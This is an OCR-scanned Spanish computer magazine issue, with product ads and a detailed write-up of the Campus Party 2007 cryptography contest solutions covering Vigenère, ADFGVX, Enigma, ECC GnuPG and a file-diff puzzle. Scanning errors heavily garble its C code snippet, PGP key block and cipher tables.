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;Puede describir a su antivirus
con la misma contundencia?

antivirus system

S6lo instélelo y olvidese. Este es el encanto y la
potencia de la tecnologlia ThreatSense exclusiva
de ESET.

NOD32 protege de forma proactiva contra
virus, troyanos, spyware, rootkits y otros tipos
de c6digos maliciosos. Y su motor de alto
rendimiento no ralentizard su ordenador.

Pruébelo gratuitamente durante 30 dfas:
http://www.nod32-es.com
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Asociacidn Espanola de Pequenas v Medianas Empresas de Infor-

E:-;tE mes hemos entrevistado a Ana Maria Méndez, fundadora de la
matica y Muevas Tecnologias (APEMIT). Cre6 la organizacion para

plantar batalla a la SGAE, que la denuncié por impago del canon y recla-

mo un pago imposible. Su tienda, Traxtore, peligré a partir de entonces,
y habria quebrado de no ser por la perseverancia y la actitud combativa
de Ana Maria. En la entrevista nos explica cémo muchos empresarios que
no han tenido la oportunidad de enfrentarse a la SGAE han tenido que
pagar cifras astrondmicas. Hoy, gracias a la asociacion, estas cuantias se
han reducido notablemente, y el nimero de demandas interpuestas por
la entidad recaudadora ha descendido sensiblemente.

Como ella misma explica, la ofensiva de la SGAE, amparada desde los
poderes piblicos, solo ha conseguido crear una economia sumergida en
torno a los dispositivos sujetos al canon, Ademads, ha frenado una activi-
dad econdmica que gozaba de una salud excelente. Tanto Traxtore como
muchos otros establecimientos informdticos han dejado de comercializar
productos que puedan atraer las reclamaciones de cualquier entidad de
recaudacion. Mo se niega el derecho de los creadores e intérpretes a
ser compensados por su trabajo, pero el afan recaudador v la poca in-
teligencia de quien vela por sus intereses esta creando enfrentamientos,
frenando actividades econdmicas y vetando derechos. Gracias a APEMIT,

i EJ atrc:peilu es ahora menor.
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Trandata Ibérica lanza la primera
soltcién “caia fuerte digital”

ﬁ | 1zual que el CD Soft-R Photo, el CD Soft-R Cryplex s un

nuevo producto que utiliza la tecnologia “Sell Recordable
Media®. Proteger, encriptar, guardar datos v convertirlos en
confidenciales son las funciones de este nuevo soporte virgen.

Su facil uso le suma interés. Y es que con tan s6lo insertar el CD
Soft-R Cryptex en la grabadora, aparece automaticamente el pro-
grama de grabacion, sin necesidad de instalacidn ni actualizacion
previa, ya que utiliza mecanismos furzy logic. El siguiente paso
que debe sepuir el usuario ¢s introducir la contraseiia v seleccionar
los datos que quiere proteger y guardar.

Con tan solo unos clics, ¢l usuario puede proteger cualguier tipo
de hicheros usando la tecnologia auto-grabable. Una vez grabado,
el CD Soft-R Cryptex se pucde leer en cualquier lector / grabador
CIVDVD ROM introduciendo la contrasedia, el usuario podri ac-
ceder a sus datos confidenciales. Ademds, si ha dejado el CD abier-
to podra afladir mds informacién. Otro de los puntos a destacar es
que no deja rastro en el PC, va que una veéz el usuano ha terminado
y antes de expulsar el CD Soft-R Cryptex, la aplicacidn le solicita
si desea guardar una copia temporal de los archivos grabados.

La aplicacion incluve teclado virtual v buscador de archivos.
Por otra parte soporta multi-sesién  pero no reescribe pistas, por lo
que cada pista puede leerse individualmente dejando las anliguas
versiones disponibles en cualguier momento.
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Cinergy Antenna NS de TerraTec: Excelente calidad de sefial TDY

en zonas alejadas de nicleos urbanos
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toda Europa. Aan asi, en las zonas periféricas a

los grandes nicleos urbanos, la recepeion sigue
siendo algo defectuosa. Una buena antena condiciona
la calidad de la sefial de TV. Por csa razon, TerraTec
Electronic lanza al mercado otra antena doméstica
muy elicaz, disefiada para mejorar la sintonizacion: la
Cinergy Antenna XS, Equipada con tecnologia avan-
zada, mejora notablemente la recepcidn de la sefial a
pesar de su disefio compacto (26 x 12 X 2,5cm).

La Cinergy Antenna XS estard disponible a finales
de octubre v su precio recomendado sera de 19.99€
y conticne un amplificador altamente resistente a las
interferencias que generan ciertos disposiivos comao [os
routers WLAN v los moviles. La antena sc alimenta a
través de su interfaz TUSH o un sintomizador TDT, no ne-

l a television digital estd causando estragos en

cesita fuente de alimentaciin adicional. En la tienda
online de TerraTec también podrin enconirar adapta-
dores para la corriente, Se acompaiia de una base y
un soporte de pared para su ficil instalacion.

La Cinergy Antenna XS es compatible con todos
los productos TDT de TerraTee asi como con los sin-
tonizadores de television digital de otros fabricantes.
Sus caracteristicas de un vistazo:

- Antena interna, compacta y eficaz.

* Recibe seilales TDT.

- Mejorados el rango y calidad de recepcion.

- Bajo nivel de ruido, y altamente resistente a
las interferencias.

- Apta para pared o sobremesa.

- Incluye fuente de alimentacién por USE y
cable de antena.




Tu eres el protagonista. Eres t0 el que construye cada dia internet
con tus ideas, tus conocimientos, tu capacidad de ver mas alla de
la pantalla...

Nosotros queremos ponértelo facil ofreciéndote los mejores servicios
profesionales para que sigas creciendo con internet.

0 es internet la que crece gracias a ti?.
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CLARANET Ianza al mercado

Servidores Dedicados Virtuales

basados en tecnologia Xen

Claranet, uno de los mayores proveedores de Soluciones IP del mercado europeo con pre-
sencia en 7 paises en todo el mundo, ha lanzado al mercado el servicio de servidores dedi-
cados virtuales basados en tecnologia Xen.

sta tecnologia de virtualizacidn,

ya utilizada por los principales

fabricantes de servidores como

Dell, IBM o Sun Microsystems,
permite |a fragmentacion de un servidor
de alta capacidad en miltiples entornos
dedicados independientes con distintas
configuraciones, sistemas operativos y
aplicaciones, garantizdndose un servicio
equiparable a un servidor dedicado pero
a un coste menor por el ahorro de espa-
cio y energia. Segdn la consultora IDC, el
45% de los servidores vendidos en el afio
2006 estaban destinados a ser virtualiza-
dos. Asi, se espera que el incremento de
esta tecnologia de aqui al 2010 sea muy
elevado: 40% de media anual.

Los servidores dedicados virtuales
de Claranet utilizan la tecnologia Xen,
lo que permite alcanzar un elevado
rendimiento incluso en arquitecturas
de tipo x86 -Intel y AMD- que no sue-
len conseguirse con técnicas tradicio-
nales de virtualizacion. A diferencia de
las maquinas virtuales tradicionales,
que proporcionan entornos basados en
software para virtualizar hardware, Xen
requiere modificar los sistemas opera-
tivos para que estos también participen
del proceso de virtualizacion, lo que
se traduce en un rendimiento mayor
que el que ofrecen las soluciones de
virtualizacion total.

Segun Josep Salom, Director Téc-

nico de Claranet Espana, - “las solu-
ciones de virtualizacién suponen una
dristica reduccian del TCO (Total Cost
of Ownership), ya que supone gran-
des ahorros en términos de hardware,
electricidad, espacio y, sobretodo,
administracidn y desarrollo de las apli-
caciones.”

Los servidores virtuales de Claranet
son dptimos para empresas desarrolla-
doras de software en donde se requiere
una elevada flexibilidad para afrontar
cargas de trabajo variables o incorpo-
rar nuevas aplicaciones o nuevos ser-
vicios de forma rdapida y con un coste
muy reducido. También son una solu-
cion dptima para implementar centros
de recovery disaster ante una caida del
centro primario sin incurrir en costes
elevados.

Entre algunas de las numerosas
ventajas de los servidores virtuales de
Claranet, cabe destacar la utilizacién
de Servidores Multiprocesador Xeon
de alta disponibilidad con un tiempo
de activacién del servicio de menos de
48 horas. Con disponibilidad de hasta
40 Gbytes de espacio en disco duro,
todos los servidores virtuales estan
dotados de conexiones Fast Ethernet y
discos SATA2 garantizdndose asi una
muy elevada eficiencia en la carga so-
portada por cada servidor.

Puede obtener mds informacion
sobre los servidores virtuales de Cla-
ranet en la web: www.claranet.es o a
través del teléfono 902 884 633.

clara.net

internet service provider
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Concurso de criptografia de Ia
I Campus Party (li)

Menos de cuarenta y ocho horas para resolver ocho retos criptograficos. Menos atin si tenemos
en cuenta las horas de sueno, aunque sé de buena tinta que mas de uno prescindio de ellas.
Algunos de los concursantes empezaron mas tarde por diversos motivos. Alguno, incluso, parti-
cip6 ademas de forma simultanea en el concurso de seguridad; y de hecho el ganador de dicho
concurso fue tercero en el que nos ocupa. Las horas pasaban, la cafeina, teina, taurina y demas
inas pululaban por el torrente sanguineo de todos nosofros. Me encanta el olor de los pensa-

~ mientos por la manana...



Conforme pasaban las horas y el final del concurso se acercaba,
todo parecia acelerarse. La gente se acercaba al drea de soft-
ware libre para preguntarme por las pruebas y por la clasifica-
cion, los correos electrdnicos se acumulaban en la bandeja de
entrada cuando me ausentaba durante unas horas del recinto, y
mas de uno se desesperaba por las -siempre segin ellos- retorci-
das pruebas. Pero no era para tanto, por supuesta, :-)

Ideas al peso

El mes pasado hablamos sobre la organizacion del taller de
criptografia en el drea de software libre de la Campus Party
2007 de Valencia, asi como de su correspondiente concur-
s0. Como ya comentamos también, el principal problema de
orquestar un concurso de esta temadtica es la dificultad de las
pruebas. En palabras de chandra, segundo clasificado del con-
curso, “Si quieres hacer un concurso, obviamente lienes que
poner pruebas que sean superables. Y eso se contrapone a los
objetivos bdsicos de la criptografia, que son precisamente el
evitar el acceso no autorizado a la informaciin que se preten-
de proteger”.
A pesar de ello, la gente que participd lo hizo con bastantes
ganas, quiza en cierta medida apremiados por la sensacidn de
aceleracion que parecia transmitir el ambiente. “Lina vez que te
pones, no puedes dejarlo, no vaya a ser que la competencia se
te adeflante mientras te has ido a dormir, o a fa hora de comer”,
nos cuenta -medio en broma, medio en serio- chandra, quien ca-
lificé el concurso como “estresante”. jAh, amigo, el que no llora
no mamal O, mas bien en este caso, el que no piensa no gana.
Ya hablamos de los tres primeros niveles del concurso en
el anterior articulo, asi que continuaremos justo por donde lo
dejamos. Obviamente, la dificultad del proceso aumenta con-
forme las pruebas van resolviéndose...

MNivel 4

El criptograma que se encontraron los concursantes este nivel es
el siguiente:

NBEHW HEFEHW IIDGV OJMFEHW D MVGUIX

Las pistas iniciales, proporcionadas en el PDF, eran las si-
guientes:

- Se trata de un cifrado de tipo polialfabético.
+ No se utiliza agrupacidn ni almohadillado.
- Los caracteres de la clave son correlativos.

Posteriormente, se afadieron las siguientes pistas en el foro
del concurso, segiin avanzaba el evento:

- Se trata de un cifrado de tipo Vigenére.
- La clave es alfabética correlativa.
- El método de Kasiski puede ayudar,

Evidentemente, y como se sugirié en las pistas del foro al
acercarse la hora de finalizacion del evento, esta prueba estaba
pensada para ser resuelta mediante el método de Kasiski. Dicho
método, que fue enunciado y explicado durante la charla del ta-
ller, utiliza las repeticiones de patrones en el texto cifrado para
inferir informacion sobre la clave utilizada, como por ejemplo
la distancia entre repeticiones y la multiplicidad entre ellas.
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Cadigo fuente para resolver ia euarts prusba.

Se utilizé una clave muy sencilla, en este caso “ABCDEF”,
para facilitar en cierta medida su averiguacidn tras determinar
su tamano a través del mencionado método. Tras aplicar el
descifrado del algoritmo de Vigenire, se obtenia el siguiente
mensaje:

NACES CRECES DICES MEMECES Y MUERES

Miétese la coincidencia de las terminaciones “CES” de la
primera, segunda y cuarta palabra con la repeticién del patron
“EHW" en el criptograma. La mayoria de los participantes, y
particularmente los que destacaron en mayor medida en el con-
curso, cayeron en la cuenta de esa extrana repeticidn de carac-
teres y utilizaron, de una u otra forma, el método Kasiski para
determinar al menos la longitud de la clave.

Una vez determinada, la mayoria de la gente recurri6 a la
fuerza bruta para romper la clave. Para la ruptura se usaron un
par de applets Java incrustados en paginas web: http:/fislab.ore-
gonstate.edukoc/ece575/02Project/Mun+Lee/VigenereCipher.
html v hitp://pages.central.edwemp/lintont/classes/spring01/

cryptography/java/vigenere. html.

Aungue en esta ocasion rapul, el ganador del concurso,
no utilizara un algoritmo para superar la prueba, si lo tenia
disefiado:

] inv::lu-:ie- <atdio h>
$#include <string.h>

int main(){
i1 s B [ g
char 'etext ]
= { "NEEHWHREEHWI I DGVQIMFEHWDMVGUIX" | ;
printf("f=s\n\n", etext )

int key length = 6; ;
for) (3 = 08 §:.< 26 ;5 %+ 0 {
for (1 =07 1\<isteleni etexti) 1y
for (k=0 : k< key length: : k++ )i

printL("sch, (L 0 L etext (3]~ (
ceitted B v Bt B el Rt Wk ORI W eSS Lt R - R e T
i i44; ) ) /
}
!

PeE (s
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[Fack to kon]

This applct was developed for ECE 575, Dt Security & Crypeography. af Oregon Siate University during Winter Torm 2000

3. Press efther tha encrypt batton or the decrypl button.

charnclers, enbor aaaaaan in the ey text Oebd.

Vigenere Apple 2

1. Enter plain text or a Vigenere sncrypled cipher message in the top Text Anea, i
2. Entera key (an English phrase, or random charscbers) in U secosd Text Fiskd, !

Note: This applet will add random characters to the end of your message, 5o that your message length is & multipls of
the Length of thi ke, You can use this bo qenerate a modom key as follews: ”

o Enter & single charactor in the top Text Area (any chamseter will deo).

o Enters + 1 "as in the key fleld to generte & key with n charmeters. For example, i you'd like a ey with &

o mmmmmmummmumwwumm
Here is Use souce code for this applet, VigeneseAppbet java. the gpplication source code asd ByeervGL] information.
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"UNA VEZ QUE TE PONES,
NO PUEDES DEJARLO,

NO VAYA A SER QUE LA
COMPETENCIA SE TE
ADELANTE MIENTRAS TE
HAS IDO A DORMIR, O A LA
HORA DE COMER”

Tras finalizar el concurso, me ensend
el codigo y me explicé porqué no lo ha-
bia utilizado: habia un pequefio error en
la linea del printf, el signo tras “etext[i]”
deberia ser un “+" y no un *-", lo cual
causo que no funcionara su programa.

Nivel 5

Al enfrentarse a este nivel, el participante
se encontraba con este criptograma:

MBFL JOHAOTG FL
ZOXY PHEZQPUOX: SLN WXG
LEWCEMLFUOQX CQ THA/HL JHXFYS

" FM OEWYO MBE MYOFM LY NEX
AKN ABGYOTF MNVIEW IBWBGMB
TM MNVIEMEXX YR NEX ZOXY
PHIQPUOX ZLMHATNFHHE, BENEXL
SXLPBIK 3 HZ QAY IBWBGMB, HL
{XM SLNL LINFHH) XGS ITNBE
PEEMFHH.

Las pistas iniciales, proporcionadas
en el PDF, eran las siguientes:

+ Se trata de un cifrado de tipo polial-
fabético.

- No se utiliza agrupacion ni almoha-
dillado.

- Los signos no alfabéticos del texto
no han sido cifrados, y pueden propor-
cionar informacion (til de cara al crip-
toanalisis.

Posteriormente, se aiadieron las si-
guientes pistas en el foro del concurso,
segln avanzaba el evento:

- Se trata de un cifrado de tipo Vi-
re.
- El método de Babbage puede ayudar.

Esta prueba, la mds compleja de los
cifrados Vigenére, estaba pensada para
ser rota principalmente mediante fuerza
bruta, motivo por el cual se proporciond
un texto de suficiente longitud. No obs-
tante, y pensando en quien quisiera resol-
verlo mediante métodos criptoanaliticos,
se proporcionaba la pista de los signos de
puntuacion, y se utilizd una clave corta
de tres caracteres (“TUX") para cifrar el
texto.

Asi, mediante el método de Babbage,
era posible utilizar las distancias entre los
distintos patrones de repeticién encon-
trados en el criptograma, para analizar su
multiplicidad e inferir cierta informacién
sobre el tamano de la clave. Los caracte-
res no cifrados -signos de puntuacion y
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Appiet para el cifrado Vigenére.

ndmeros- y un poco de intuicién podian
ser los ingredientes restantes en la receta
de la resolucion.

Aquellos que descifraron correcta-
mente el mensaje con la clave “TUX", se
encontraron con el siguiente texto:

THIS PROGRAM IS
FEEE SOFTWARE: YOU CAM
REDISTRIBUTE IT AND/OR MODIFY
IT UNMDER THE TERMS OF THE
GNU GEMERAL PUBLIC LICENSE
AS PURLISHED BY THE FREE
SOETWARE FOUNDATION; EITHER:
VERSION 3 OF THE LICENSE, OR
(AT YOUR OPTION} AMY. LATEER
VERSION.

Que es, obviamente, un fragmento de
la tercera version de la licencia pdblica
general (GPL) de GNU. Nuevamente,
el idioma es un impedimento adicional
para la resolucién de la prueba, pues un
criptoandlisis que presuponga un texto
en claro en castellano se encontrard con

muchas mds trabas que aquel que no lo
haga.

El primero en resolver esta prueba,
phiber (tercer clasificado), lo hizo me-
diante un andlisis de autocorrelacion
llevado a cabo con el software CrypTool,
una genial herramienta para el aprendiza-
je de la criptografia. Mediante [a opcidn
correspandiente (Analysis > Symmetric
Encription (classic) > Ciphertext-Only >
Vigenere), y con la correcta intuicién del
algoritmo utilizado, obtuve informacidn
sobre el tamano de la clave -tres- y una
sugerencia sobre la misma que resulté ser
acertada.

MEDIANTE EL METODO DE
BABBAGE, ERA POSIBLE
UTILIZAR LAS DISTANCIAS
ENTRE LOS DISTINTOS
PATRONES DE REPETICION
ENCONTRADOS EN EL
CRIPTOGRAMA

CONCURSO

Chandra -segin coment6 en el co-
rreo de resolucidn de la prueba- estaba
escarmentado con el tema de los idiomas
desde la tercera prueba, por lo que no
partié de ninguna premisa a ese respecto.
Analizando las repeticiones concluyd un
tamano de clave de tres o cinco caracte-
res, reduciendo el resto del proceso a la
pura fuerza bruta.

Otros participantes -como rapul- uti-
lizaron como pista la cadena “THA/HL”,
suponiendo que podria tratarse de “ANDY
OR" o “TCP/IP*, y haciendo coincidir la
clave con la adecuada para descifrar di-
chas cadenas.

Nivel 6

En este caso, el concursante se encuentra
con la siguiente tabla ADFGVX:

R e R B -
[ BEEESS T o FE] ol 5, R -
it e S bt BEY g o B |
e L & RS- il |
{12 B Sl T ey
g e - B v P
Cpee - e =l m R T p

El siguiente mensaje cifrado con la
clave "CAMPUS":

HADVDD, XAVARV FDGEVE
GXDDVD VEDDAD VDVVVG EVVARA
AXEDRN ARXNVD ADRANN :

Asi como el criptograma a descifrar:
LTOWTKAJJIPGPSQN

Las pistas iniciales, proporcionadas
en el PDF, eran las siguientes:

- Se trata de un cifrado de tipo polial-
fabético.
- No se utiliza agrupacion ni almoha-

dillado.

Posteriormente, se anadieron las si-
guientes pistas en el foro del concurso,
seglin avanzaba el evento:

- NO es un cifrado ADFGVX estdn-
dar, sigue el esquema visto en la presen-
tacion.

» Hay un simulador de la maquina
ENIGMA bastante bueno aqui: http://
enigmaco.de/enigma/enigma.swi.

MNos encontramos ante un nivel

bastante laborioso, pues no cbstante la
resalucidn debia realizarse forzosamente

@n




naswi fapplication/x“shockwave-flas

[CJ hitpsfiwwwenigmaco defenigm

endo datos desde www.enigm

Resolucidn de [a sexfa prueba.

a mano en su practica totalidad. Como comenté posteriormente
en la pista del foro, no sigue el esquema estindar del cifrado
ADFGVX aleman, utilizando en su lugar el explicado en la pre-
sentacidn del taller. Este algoritmo es el mismo en esencia, pero
eliminando el paso de transposicién de filas por columnas, para
evitar que -una vez mds- la gente se limitara a buscar un applet
online para descifrar el algoritmo. Por eso, esta vez les toct ha-
I?ar el trabajo duro a manita... soy un retorcido, qué le vamos a
acer. :-)
Para resolver el reto, lo primero era alinear el eriptograma
atendiendo a la clave:
R{I-IPSD Vi Y
e A R
. @exppvD R
USRI s e e R

Tras lo cual habia que reordenarlo:
e nMEs e
KRR it
COBMVAVA
ER '“FG_. G"-G‘_ T i R y A A
TN R
. DUWGY

Realizando la sustitucion ADFGVX obteniamos el siguiente
mensaje: -

| B CERTG B = i Y il G
g Ny e Sl oM S i T e T e
. AX DV DD AX VA VA DF GG GV XG DD DV FV DD DA
i mrw GV VE VA AR XA FD XA AR XV DV DA g

...Y .- , E-:. i .""Il"r'.-. .

=0

i
gee

£

B R i
- /

Que, al reordenar, quadaba d.é la siguiemé f:::.r-n.‘la:
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HACHE EQUIS CA Y CLAVIJERO, NORMAL

Ahora entraba en juego la intuicion del concursante, pues la
palabra clavijero tiene que hacer pensar de forma casi inmedia-
ta en alguna méquina de cifrado electromecdnica de la época
de la segunda guerra mundial. Si empezamos por la mds tipica,
la médquina Enigma, y utilizamos “HXK" como clave para las
posiciones iniciales de los tres rotores, obtendremos el siguiente
mensaje:

OUIEROUMEATINETE

;Por qué esa frase? No, no queria un patinete, aunque ter-
miné ddndome unas vueltas por el recinto con el de Jaime...
Lo que ocurre es que mientras preparaba las pruebas estaba
con mi novia, y en el momento de tener que elegir un men-
saje, ella vio pasar a alguien con un patinete y dijo “quiero
un patinete”. No credis, que muchas cosas en esta vida pasan
asi...

Respecto a la resolucion del nivel, y dado que en éste en
concreto no habia demasiado margen para la imaginacién, es
practicamente la misma para todos los usuarios. Los escollos
resultaron ser principalmente dos: en primer lugar, el proceso
ADFGVX no estdndar, que causd algunos problemas a aque-
llos que usaban programas para la resolucion automatica;

y en segundo lugar, encontrar un simulador de la mdquina
Enigma adecuado. Nuevamente, CrypTool demostré ser una
estupenda herramienta para el concurso, pues incluye un si-
mulador completamente funcional.

HACK CONCURSO

Méquina Enigma.

LA PALABRA CLAVIJERO
TIENE QUE HACER PENSAR
DE FORMA CASI INMEDIATA
EN ALGUNA MAQUINA DE
CIFRADO ELECTROMECANICA
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La bestia negra del concurso, sin duda alguna. Una clave piblica era toda
la informacién proporcionada:

=====BEGIN PGP PUBLIC EEY BLOCK-———-

ERA COMPLICADO SABER

mOJqBEaioodnAakB/ [/ /L 1L L LI IS L LR LI F L d R LR E I L QUE ERA NECESARIO

LA LELLELLE LA LB R LA BCCQBL LI E LTI EELE DICHO ELEMENTO PARA
T T T O O O 0 G0 A 0 0 G 0 8 O G 0 A 0 O Y
JATHUZU4uWGOHTJofkpohoLaFQo6i 2nJbmbMVE 7101 2G080nhVhkSUex+k3sWU2Co iﬁiﬂLVER EL R:TD, 0
Q7G/BzVz34g9L0Tx 70U 1GLOPWACCMaF jga3BATpz24+y2Y I 1bRCNGSBOQU/ tSHA QUE LA AGRUPACION
KK9ga009ugFLXnfv51ko/h3BIEL/gN4 zSLEBhWC/ 1+ £ jHCSh1mAgkBGDkpania DE BARRAS AL INICIO
OEAEXIpfECxIGImY JURIVStEaBevvRenPrYsl45ymV70JkDFULKBPEOHYTUScIad DE LA CLAVE ES MUY
csJALLEUdp/RELARRQECCQHS [/ A LS L LA T L LTI CARACTERISTICA

[ fpRhoaDvy+Wa3 /MAT] 3CaX00TXJulncRE6Tb T cekThkCQIJAVSIrLUYYJ/ 9TREY
SAFfdidqlW2lNgpXCiEnVen/qulxSuVdTuldrgHaS52 1KbWiYspyX+a6TKRh2P2aJs
c0dPXojiAgkBoPg3btEm9xZ0E1 ihLONkIKKQe6PInv+ TXsilvT TopkiSzyQux+t2
dosCwlvioHeScinOwl OVGUETERsgR4 4gBRsCCIFIRY TIULY L pR4WGasvys2RRK0/ &
zvolZZJTHS+LJIg3nHc8 ] 1pIOEfCAQuCEISE4+6Xs00kzNYcgsA/glumvg9nJotEpU
¥WxzZXTgQ3JpcHRYZIThZis0tY SA0QZFCoHYZIFBhenRS I DIWMDepI D jomlwdGEn
cmEmaWrAcGEydHkuc2 l Y XVyaWEubnV OB AEBNnAghlBOJGo o KHAhs FBOKACTgA
BgsJCRcDAgOVAggDAXYCAQTeAQIXgARKCRAR] SUhERP1dSclyAgjUiaWeZ filbz kb
MOORCSdBEIV+aIDIuuJ+mCG T CRI0xgpvilxMVSbdiH/ trewSucMuiQHEFZe 4 e d
v AFzlgRCwIJReU/ yxET5TUNGUNLa OVAVTcgyxCiXLLAdDzNPPwIsxpvErkVv+ipm
dyPHELIWT1Zs TLOSHIOBT ImiFSTIGEBEUL1O6nAC

=khak

====<END PGP PUBLIC KEY BLOCK=====

Se pedia al concursante un mensaje cifrado con informacién sobre cémo
resolvio el reto. Ademas, no se proporcionaron pistas inicialmente, y sélo se dio
una, cuando la hora de cierre del concurso era inminente:

- La clave piblica esta completa, aunque el algoritmo utilizado no esti, en
principio, soportado por GnuPG...

En principio estaba pensada para ser la Gltima prueba del concurso, de ahi la
dificultad. No quiero ni imaginarme la cantidad de blasfemias que se profirieron
en mi honor... algunas de hecho las pude escuchar en directo. Je...

El caso es que esta clave pablica estaba generada mediante un algoritmo
ElGamal de curvas elipticas, utilizando para ello el parche ECCGnuPG para Gnu-
PG disponible en http://'www.calcurco.cat/eccGnuPG/index.es.html. Era com-
plicado saber que era necesario dicho elemento para resolver el reto, aunque la
agrupacion de barras al inicio de la clave es muy caracteristica... para aquel que
ya haya visto alguna vez una,

La prueba fue resuelta dnicamente por rapul, chandra y piedachu (por ese
orden), y se tuvieron que devanar los sesos bastante para lograrlo. Me consta que
rapul estuvo durante buena parte de un dia modificando a mano el cédigo fuente
de GnuPG, pues estaba convencido de que habia alterado una clave de cifrado
estindar. Finalmente, en un alarde de inspiracién, compilé en su distribucidn
Gentoo GNU/Linux el programa con todos los uses activados, entre los cuales se
en:mrtraba el de ECC. Una vez hecho, la clave tomd sentido y la prueba estuvo
resuelta.

rootlcrujide - # gpg --version

gpg (GnuPG) 1.4.7-ecc0.1l.6

Copyright (C) 2006 Free Software Foundation, Inc.

This program comes with ABSOLUTELY HO WARRANTY.

This is free software, and you are welcome to redistribute it
under certain conditions. See the file COPYING for details.



Home: =/.gnupg

Supported algorithms:

Pubkey: RSA, RSA-E, RS5A-S, ELG-E, DSA, ECC, ECELG, ECDSA
Cipher: IDEA, 3DES, CASTS, BLOWFISH, AES, AES192, AES256,

TWOFISH
Hagh: MD5, SHAl, RIPEMD160, SHAZ256, SHA3B4, SHAS512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIPRZ

rapul@crujide /mnt/huge/crypto $§ gpg --import --allow-non-
selfsigned-uid

clave.asc

gpg: key 10F35D49: public key "Taller Criptegrafia (Campus
Party 2007) <

criptografia@party.simauria.net>” imported

gpg: Total number processed: 1

gpg: imported: 1

Por otro lado, chandra buscé en |a red informacion sobre el identificador de al-
goritmo que contenia la clave, encontrando en una lista de correo unos mensajes del
creador del parche preguntando sobre ese tema precisamente. Un par de bisquedas
en Google mediante, accedid a la pagina anteriormente citada y compild correcta-
mente el parche,

MNivel 8

Esta prueba fue anadida al concurso “sobre [a marcha”, dada la sorprendente ce-
leridad con que los concursantes estaban resolviendo las pruebas, v para evitar
que alguien que estuviera atascado en la anterior pudiera aburrirse demasiado.

En el fondo soy muy atenta... |:-) NUEVAMENTE LAS
Al participante se le proporcionaba un fichero de audio con extensidén WAV HERRAMIENTAS
v un hash MD5 (403a32769f4ab9444584a547933118e7), y se insinuaba que era  AUTOMATIZADAS NO

necesario utilizar la red DC++ de la Campus Party. No hube ningtn tipo de pista,
ni en el documento PDF de la prueba, ni posteriormente en el foro. No obstante,
se trataba de una prueba bastante sencilla.

Lo primero que [lamaba la atencién es que el hash proporcionado no corres-
pondia con el fichero dade, asi que simplemente era necesario buscar en la red
DC++ otro con idéntica nombre. Tras
comprobar que éste si se correspondia

SERVIAN PARA GRAN
COSA, SIENDO NECESARIO
REALIZAR EL PROCESO DE
FORMA MANUAL

L e e B ey
con el hash, Gnicamente era necesario Archive EdRar Yer Mistorial Marcadores Herramisogss Ayud '
analizar (con un editor hexadecimal Sl e X R e I
o alguna herramienta similar) las dife- = e
rencias en la informacidn entre ambos. b, URvERSTTAT
Dichas diferencias eran las siguientes " DARMSTADT

ara cada direccidén de memoria espe- e =
Eiﬁcada: ; c-mm 1410
0000:01000 --> 1001000 E-Learming Program for Cryptology
0000:02000 ==> 1000001
0000:032000 ~--> 1000011 The isltial concem of cryplogmphy was b0 provide secrecy Tor wiithen messages.
0000 : 04000 ==>1001011 Today, cryptogTaphy s an active research aros and i3 part of many applications whers it oftsn goes
unnotced. Examples inchide ignition lock-out systems for cars, mobile phone ransmissions, 551
Esa informacién binaria se corres- e e e S N v M T S ey
ponde con los valores decimales 72, i g B SRt i e I T R e i B
65, 67 y 75, que en la tabla ASCII es gaited any desper appreclation of moder coyplography.

ocupada por los caracteres H, A, C
y K. Asi pues, el mensaje oculto era
"HACK".

La prueba fue resuelta por rapul,
chandra, phiber y piedachu, y para
ello utilizaron herramientas como
Hexdump, Hex Workshop, o un simple
XOR. Se trataba de una prueba a muy

4 The opan soures project CrypTosl, fin since 1998 by Bemhard Eslinger. bas been developing
o the lres program CrypTeol in ender b spread this imowiedge. CrypTool makes it fun and sasy to

o aliznkions (eq.

leam sheat clasale sl modars eryptagraphy and cryptanabysts, It s used st universities and
schodis as well as i natiznal and ntemationsl companies and agendcies for edscational purposes,

[ Tt Windows program CrypTeol is an e-leaming software with which you can apply and anabyze
=] eTyplograplic mechanisms. It containg exhaustive oeline help with tutorialsfoonnnrbos,

firmher Enl




PIEDACHU NO PUDO

OPTAR A UN PREMIO

POR FORMAR PARTE

DE LA ORGANIZACION,
PERO VIRTUALMENTE
RESULTO LA TERCERA
EN LA CLASIFICACION Y
COMPLETO TODAS LAS

PRUEBAS

bajo nivel, y nuevamente las herra-
mientas automatizadas no servian para
gran cosa, siendo necesario realizar

el proceso de forma manual una vez
obtenidas las diferencias entre los fi-
cheros,

Terminando

Finalmente, y tras muchas horas de
dedicacidn, los agraciados obtuvieron
sus premios: rapul un ordenador por-
tatil HP nuevo, chandra una consola
Nintendo Wii, y phiber un teléfono
mavil Mokia 5200 y dos entradas para
la Campus del préximo ano, Lamenta-
blemente, piedachu no pudo optar a
un premio por formar parte de la orga-
nizacién, pero virtualmente resultd %a
tercera en la clasificacion y completd
todas las pruebas, demostrando una
gran rapidez mental. Su esfuerzo, por
ser completamente desinteresado, re-

sultd el doble de valioso.

Finalmente, el sibado se realizd la
entrega de premios donde, ya descan-
sados, los concursantes recordaban
entre bromas los duros momentos
pasados frente a las pantallas. Mi mas
sincera enhorabuena a todos los que
participaron en el concurso, y espero
que volvamos a coincidir en otra oca-
sion.

Quisiera también, por dltimo, man-
dar un abrazo muy fuerte a toda la
gente del drea de software libre, en es-
pecial a Eloi, Jaime, Javi, Maridngeles,
Luis, Amadeo, Bea, Radl, y todos aque-
llos que, desgraciadamente, me estoy
olvidando. jSois muy grandes!

Ramiro Cano Gémez
death_master@hpn-sec.net
http://omniumpotentior.wordpress.
com/
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IMPLEMENTACION GNUPG
CON CURVAS ELIPTICAS

Madule externo al proyectn GruPa,

Mantenedores Sobre el Médulo

Contenidos Este médulo es completamente experimental para el GnuPG. (Todavia) No debe utilizarse en
+ Descripcion y entornos de produccidn.

Objectives
L - [ =
* Efg':mm - Ofrece soporte para usar claves con curvas elipticas siguiendo lo descrito en el RFC2440. Los
+ HowTo estdndares en los que se basa esta implementacién son: la norma P1363 del IEEE i la FIPS
PUB 186-2 del NIST.

Download a
2 EDE&GHHPG 0.1.7 La versién 0.1.0 fue liberada el 10 de marzo de 2004, integrable a la versién 1.3.5 del
» eccnuPG GnuPG. La actual versién es la 0.1.7, integrable para la versién 1.4.7 del GnuPG.

0.2.0beta2 Diff
La proxima rama 0.2.x estd en fase beta2! Pero recuerda que, si la 0.1.x todavia es

experimental, la 0.2.x es muy version beta.

Este modulo es Software Libre distribuido bajo los términoes de la General Public License.

=
ST T s~

I Terminado
Paygina dal proyesio.,
